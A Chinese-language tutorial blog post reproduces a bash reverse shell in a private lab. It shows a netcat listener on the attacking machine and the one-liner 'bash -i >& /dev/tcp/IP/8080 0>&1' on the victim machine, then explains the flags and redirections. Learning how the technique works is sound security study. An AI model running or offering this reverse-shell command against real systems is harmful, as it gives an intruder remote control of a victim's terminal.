1. 程式人生 > 其它 >bash反彈shell

bash反彈shell

part1:不求甚解的本地復現

  攻擊端Debian 10.x: 192.168.208.134

  受害端Ubuntu :192.168.208.135

攻擊端開啟(監聽)某埠: 

  鍵入命令:【nc -lvp 8080】

受害端執行反彈shell:

  鍵入命令:【bash -i >& /dev/tcp/192.168.208.134/8080 0>&1】

效果:

      可以在攻擊機上操作受害機的終端。

part2:嘗試理解原理

    (1) nc -lvp 8080

       -l 設定netcat處於監聽狀態等待連線。

       -v 顯示錯誤提示資訊(非必須)

       -p 設定本地監聽的埠號

    (2) bash -i >& dev/tcp/192.168.208.134/8080 0>&1

        -i 建立一個互動式的shell.

          0,stdin,標準輸入(一般是鍵盤)
          1,stdout,標準輸出(一般是顯示屏,準確的說是使用者終端控制檯)
          2,stderr,標準錯誤(出錯資訊輸出)

        > 輸出重定向;指定具體的輸出目標以替換預設的標準輸出。

            eg:

        >&:將聯合符號前面的內容與後面相結合然後一起重定向給後者。

        dev/tcp/192.168.208.134/8080(dev/tcp/ip/port):linux裡一切皆檔案;這個東西也看做檔案(但不能訪問),其作用是讓本機與目標主機通過指定埠建立tcp連線。


整體解讀的話,就是:

  bash產生了一個互動環境與本地主機主動發起與目標主機8080埠建立的連線(即TCP 8080 會話連線)相結合,並重定向給tcp 8080會話連線;(這個具體咋回事估計得等再學點東西才能理解)

使用者鍵盤輸入與使用者標準輸出相結合,並重定向給一個標準的輸出;(這就是效果圖中ls出現兩次的原因;第二次是因為標準輸入也被重定向給了標準輸出,輸出出來了)

  即得到一個bash 反彈環境。